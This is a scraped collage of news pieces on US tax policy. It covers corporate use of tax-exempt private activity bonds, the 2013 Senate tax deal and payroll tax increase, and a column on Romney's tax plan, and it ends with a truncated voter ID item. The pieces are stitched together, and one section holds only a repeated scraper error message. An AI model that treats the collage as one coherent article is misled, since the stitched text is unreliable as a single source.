Budget analysts say these bonds amount to a government subsidy, in the form of forgone tax revenue. While it is difficult to calculate the precise dollar amount of the subsidy, given the number and variety of these bonds, experts say the annual cost to federal taxpayers could run into the billions.

“The federal government doesn’t cut a check for this, but it costs the government in terms of lower tax revenue,” said Lisa Washburn, a managing director at Municipal Market Advisors, an independent municipal research firm in Concord, Mass., that assisted The Times with its analysis. “If these companies were to issue taxable bonds instead, then the federal government would receive tax revenues on them.”

Ms. Washburn added that the gain to companies, and bond buyers, can be big and long-lasting.

Chevron used most of its federally tax-free borrowings to expand a refinery in Pascagoula, Miss. Archer Daniels Midland, the agribusiness giant, used about $180 million in tax-exempt bonds to improve its grain-processing facilities in Indiana and Iowa. Alcoa raised $250 million to renovate an aluminum plant in Iowa.

Such financing arrangements are now worrying some state and local officials. Many are concerned that the budget battles in Washington will mean less federal money for them, and that the federal government might try to limit the scope of their own tax-free financing.

Some of the subsidized business projects are almost indistinguishable from public works. American Airlines, for instance, another big user of tax-exempt bonds over the last decade, used $1.3 billion of these securities to finance a new terminal at Kennedy International Airport. That terminal is owned by the City of New York; American is the builder, the borrower and a tenant.

As political controversy over the federal deficit has mounted, some fiscal experts have taken aim at this sort of tax-exempt borrowing. The team at the Bipartisan Policy Center led by Alice M. Rivlin, a former member of the Federal Reserve, and Pete V. Domenici, the former Republican senator, has called for ending it. A spokeswoman for the center said that such a change could bring in $50 billion for the federal government over 10 years.

The Obama administration would take a different approach, capping the value of the tax break that wealthy bond buyers enjoy, whether they buy private activity bonds or conventional municipal bonds. Some of the bonds in The Times’s analysis are subject to the alternative minimum tax, but taxpayers who incur the A.M.T. typically don’t buy those bonds.

It was Ms. Rivlin who, as founding director of the Congressional Budget Office, issued one of the first major reports on private activity bonds, which the report said were invented by local officials in Mississippi eager to attract business during the Great Depression. In a 1981 report, Ms. Rivlin found that the bonds were in much wider use than previously understood. Companies were using the federal subsidy to build Kmarts, McDonald’s restaurants, private golf courses and tennis clubs — even a topless bar and an adult bookstore in Philadelphia.

A Bigger Tax Bite for Most Households Under Senate Plan

The legislation, which still must overcome resistance exhibited on Tuesday by House Republicans, would grant most Americans an instant reversal of the income tax increases that took effect with the arrival of the new year. Only about 0.7 percent of households would be subject to an income tax increase this year, according to the Tax Policy Center, a nonpartisan research group in Washington. The increases would apply almost exclusively to households making at least half a million dollars, the center estimated in an analysis published Tuesday.

But the Senate’s decision not to reverse a scheduled increase in the payroll tax that finances Social Security, while widely expected, still means that about 77 percent of households would pay a larger share of income to the federal government this year, according to the center’s analysis.

The tax this year would increase by two percentage points, to 6.2 percent from 4.2 percent, on all earned income up to $113,700.

Indeed, for most lower- and middle-income households, the payroll tax increase most likely would equal or exceed the value of the income tax savings. A household earning $50,000 in 2013, roughly the national median, would avoid paying about $1,000 more in income taxes — but still pay about $1,000 more in payroll taxes.

The timing and outcome of a House vote was unclear on Tuesday evening.

Sabrina Garcia, a 35-year-old accounting assistant from Quincy, Mass., who together with her husband made about $102,000 last year, said the payroll tax increase equated to “about $200 a month for my family. That’s a lot of money for us. It means we will have to cut back.” She said in an e-mail exchange that she most likely would postpone buying a new computer. “And forget about being able to save money,” she added.

The deal would impose larger tax increases on those who make the most. It would raise taxes in two different ways, by restoring limits on the amounts of income affluent Americans can shelter from federal taxation, and by restoring a top marginal tax rate of 39.6 percent. The current rate is 35 percent.

For married couples filing jointly, the deduction limits apply to income above $300,000, while the top tax rate kicks in above $450,000. But both numbers are somewhat misleading, because “income” in this context is a technical term, referring only to the portion of income subject to taxation after exemptions and deductions.

Few households with actual incomes of less than half a million dollars would face a tax increase. The Tax Policy Center calculated that less than 5 percent of families earning $200,000 to $500,000 would actually pay more.

The size of those increases would be much smaller than President Obama originally proposed. The net effect, according to the center’s estimates, is that the top 1 percent of households would see an average income tax increase this year of $62,000 rather than $94,000.“The high-income people really are doing very well in this compared to what the president wanted to do,” said Roberton Williams, a senior fellow at the Tax Policy Center.

The Senate deal would impose fewer limits on deductions than the White House plan. It also would tax income from dividends at a flat rate of 20 percent, rather than the same marginal rate as earned income. And there’s another important point, often misunderstood: Affluent households would pay the new 39.6 percent rate only on income above $450,000. They and everyone else would still pay lower rates on income below that threshold.

Households making $500,000 to $1 million would pay an additional $6,700 in taxes on average. Those making more than $1 million would pay an additional $123,000 on average.

Economic Scene: Say Goodbye to the Government, Under Either Fiscal Plan

Sorry, I could not read the content fromt this page.Sorry, I could not read the content fromt this page.

DealBook: The Winners and Losers Under Romney's Tax Plan

Eric Gay/Associated PressThe Republican presidential candidate Mitt Romney has indicated that his plan is revenue neutral.

Tax reform always has its winners and losers. Mitt Romney’s proposed plan to lower tax rates and limit deductions is no different, but it takes some digging to sort it out.

Mr. Romney has indicated that the plan is revenue-neutral, raising as much revenue as current law. He has also said it is “distributionally neutral” — meaning that the rich, middle class and poor would all continue to bear the same aggregate tax burden as they do now.

The idea seems to be that lowering tax rates would spur economic growth, and the reduction in revenue from lowering rates would be at least partly offset by increased revenue through limitations on deductions, credits and exclusions.

In recent weeks, the focus has been on whether the math “works” in the sense of whether cutting deductions for the wealthy would actually generate enough revenue to finance the proposed rate cuts. The implication, based on a study by the Tax Policy Center, is that in order to remain revenue-neutral, the middle class would have to share the pain of limited deductions. That would effectively shift the tax burden from the rich to the middle class and violate the stated goal of distribution neutrality.

What has been missing from the conversation is a discussion of who wins and loses if, as Mr. Romney insists, the plan sticks to its goal of distribution neutrality.

Distribution neutrality is a funny concept. Even if the plan is distributionally neutral, there still must be winners and losers. After all, if everyone paid exactly the same amount in taxes as before, then tax reform would not be reform: it would be the same as no change at all in the tax code.

Some people will pay a lot more and some will pay a lot less, even if the rich, middle class and poor each continue to pay the same amount in the aggregate. The fairness of the plan will depend on how finely calibrated each group is defined. Economists often group taxpayers by income quintiles, but a definition this broad places both middle-class homeowners and billionaires in the same group, even though ability to pay varies greatly.

Who are the likely winners and losers under the Romney plan? Most of the action will occur within this top quintile of taxpayers. These households make at least $100,000, and they make about $250,000 on average, before tax. In the aggregate, they pay most of the federal income tax burden.

Assume, as Mr. Romney suggested in one debate, that deductions, in total, would be limited to $25,000. The winners would be those who would enjoy the lower rates but do not take a lot of deductions. Their tax burden would shift onto heavy users of deductions.

And who is that? Let’s focus on three important tax breaks: the mortgage interest deduction, the charitable deduction and the deduction for state and local taxes. The pain would be concentrated in areas with a high cost of living like New York, New Jersey, Connecticut and California, where home prices and state and local taxes are high.

The mortgage interest deduction, under current law, is capped at a million dollars of mortgage debt. Under the Romney plan, even homeowners with a mortgage of $500,000 would quickly fill their “bucket” of deductions. Limiting the mortgage interest deduction is good tax policy, but it will also depress home prices at the high end and lead to substantial opposition from the real estate industry.

Now consider the charitable deduction. Under current law, the deduction is limited to 50 percent of one’s adjusted gross income — a limitation few people run up against. If total deductions are limited to $25,000, however, many people will use up that amount through the mortgage interest deduction, removing the tax incentive to donate.

Finally, consider the state and local tax deduction. The state and local tax deduction is an indirect subsidy to high-tax states like New York, New Jersey and California.

Allowing state and local taxes to be deducted from the federal return reduces the political pressure to keep state and local taxes low. Similarly, the exclusion of municipal bond interest, another tax break that is on the table, mainly benefits state and local governments, while investors pay an implicit tax in the form of accepting a lower interest rate.

The point is not to defend these tax breaks. Rather, it’s to emphasize that tax reform is easy to talk about and hard to do. For every unsympathetic group like insurance companies or oil and gas multinationals, there’s a charity like the Red Cross or the Salvation Army. And one voter’s loophole is another’s livelihood.

Even in advance of the election results, lobbyists are getting ready for action. The Chronicle of Philanthropy reports that some large nonprofits sent letters to President Obama and Mr. Romney last week urging them to maintain the charitable tax deduction as is. This grouping of nonprofits also announced “a gathering on Dec. 4 and 5 to bring hundreds of its members to Washington to tell members of Congress that any tax changes that led to decline in private giving would devastate nonprofits and the people they serve.”

From an academic perspective, there is much to like in the Romney plan, with its broader base and lower rates. But it is not a win for everyone. And history shows that those who would be made worse off have great success in persuading Congress to maintain the status quo.

Victor Fleischer is a professor at the University of Colorado Law School, where he teaches partnership tax, tax policy and deals. Twitter: @vicfleischer

Voter ID Back in Commonwealth Court, Under Different Standard

At this summer's oral argument in the voter ID case, Commonwealth Court Judge Robert Simpson said he saw his part in the politically charged matter as "teeing" it up for the state Supreme Court to decide.